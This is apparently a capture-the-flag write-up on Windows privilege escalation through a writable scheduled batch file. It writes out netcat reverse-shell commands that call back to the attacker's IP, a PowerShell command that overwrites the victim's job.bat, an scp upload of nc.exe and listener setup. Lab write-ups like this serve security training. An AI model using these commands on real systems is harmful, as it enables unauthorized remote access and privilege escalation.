Privilege escalation [Worked]

In the C drive, I found one folder named "Log-Management". Inside that, I found that there is a file with the name "job.bat". When opened it, I found that there was a script. This batch script is designed to clear all Windows event logs, but only if it is run with administrator privileges.

In the script, I saw that there is a .exe binary that is being run. when I listed help for that binary file I got the below output.

Nothing seems interesting in this.

Checking permission of Current user on file.

We checked that Daniel is a member of the "Users" group and on this file, a member of the "Users" group has full access.

OffensiveReverseShellCheatSheet/reverse-shell.bat at master · d4t4s3c/OffensiveReverseShellCheatSheetGitHub

Getting Reverse shell [Try 1 - failed]

Making reverse shell for .bat file type.

Original Code

@echo off
\\192.168.1.2\a\nc.exe -e cmd 192.168.1.2 443
PAUSE
exit

Modified code

@echo off
\\10.10.16.15\drive\nc.exe -e cmd 10.10.16.15 80
PAUSE
exit

We will set up things that will be needed for the reverse shell.

We will need smb server. I set it up and also tested that it is accessible.

Start the listener.

sudo rlwrap nc -lnvp 80

Adding content to the file.

@"
@echo off
\\10.10.16.15\drive\nc.exe -e cmd 10.10.16.15 80
PAUSE
exit
"@ | Set-Content -Path .\job.bat -Force ; .\job.bat

Please note that this process is executed by another process that adds the content. Running it immediately might result in an error; however, running it again after the error should succeed.

Got the shell as the same user. 😢

Getting Reverse shell [Try 2 - worked]

I will try to send the nc.exe file to the victim machine.

scp -i id_rsa /usr/share/seclists/Web-Shells/FuzzDB/nc.exe daniel@$markup:C:/Users/daniel

Now run the below command to capture the reverse shell. Make sure you start the listener before doing that.

sudo rlwrap nc -lnvp 80

You will see the shell after some time.